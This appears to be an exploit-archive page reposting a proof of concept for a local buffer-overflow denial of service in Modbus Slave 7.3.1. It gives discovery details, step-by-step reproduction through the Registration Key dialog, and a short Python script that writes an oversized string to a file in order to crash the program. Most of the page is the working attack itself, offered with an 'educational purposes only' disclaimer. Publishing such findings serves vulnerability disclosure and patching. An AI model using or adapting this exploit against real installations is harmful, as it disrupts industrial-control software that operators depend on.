Modbus slave 7.3.1 buffer overflow (dos) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-11-22 | Type : dos | Platform : windows
This exploit / vulnerability Modbus slave 7.3.1 buffer overflow (dos) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: Modbus Slave 7.3.1 - Buffer Overflow (DoS)
# Discovered by: Yehia Elghaly
# Discovered Date: 2021-11-19
# Vendor Homepage: https://www.modbustools.com/
# Software Link : https://www.modbustools.com/download/ModbusSlaveSetup32Bit.exe
# Tested Version: 7.3.1 < 7.4.2
# Vulnerability Type: Buffer Overflow (DoS) Local
# Tested on OS: Windows XP SP3 - Windows 7 Professional x86 SP1 - Windows 10 x64

# Description: Modbus Slave 7.3.1 < 7.4.2 Buffer Overflow

# Steps to reproduce:
# 1. - Download and install Modbus Slave
# 2. - Run the python script and it will create modbus.txt file.
# 3. - Modbus Slave 7.3.1 < 7.4.2
# 4. - Connection -> Connect
# 5. - Paste the characters of txt file Registration Key
# 6. - press "ok" button
# 7. - Crashed

#!/usr/bin/python

exploit = 'A' * 736

try:
file = open("Modbus.txt","w")
file.write(exploit)
file.close()

print("POC is created")
except:
print("POC not created")